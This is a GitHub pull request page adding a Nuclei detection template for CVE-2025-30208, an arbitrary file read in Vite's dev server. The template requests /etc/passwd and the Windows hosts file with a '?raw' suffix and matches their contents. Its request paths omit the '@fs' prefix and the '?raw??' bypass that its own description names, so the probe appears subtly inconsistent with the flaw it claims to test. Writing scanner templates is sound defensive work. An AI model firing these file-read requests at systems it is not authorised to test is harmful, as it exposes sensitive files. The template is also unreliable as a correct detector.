Skip to content

Added CVE-2025-30208 Template #11828

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 3 commits into from
Mar 27, 2025
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
53 changes: 53 additions & 0 deletions http/cves/2025/CVE-2025-30208.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
id: CVE-2025-30208

info:
name: Vite - Arbitrary File Read
author: v2htw
severity: medium
description: |
Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
reference:
- https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w
- https://nvd.nist.gov/vuln/detail/CVE-2025-30208
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2025-30208
cwe-id: CWE-284
metadata:
verified: true
max-request: 1
fofa-query: 'body="/@vite/client"'
tags: cve,cve2025,arbitrary-file-read,vite,CVE-2025-30208

flow: http(1) && http(2)

http:
- method: GET
path:
- "{{BaseURL}}"

matchers:
- type: word
part: body
words:
- "vite"
internal: true

- method: GET
path:
- "{{BaseURL}}/etc/passwd?raw"
- "{{BaseURL}}/C:/Windows/System32/drivers/etc/hosts?raw"

stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- "Microsoft Corp"
condition: or

- type: status
status:
- 200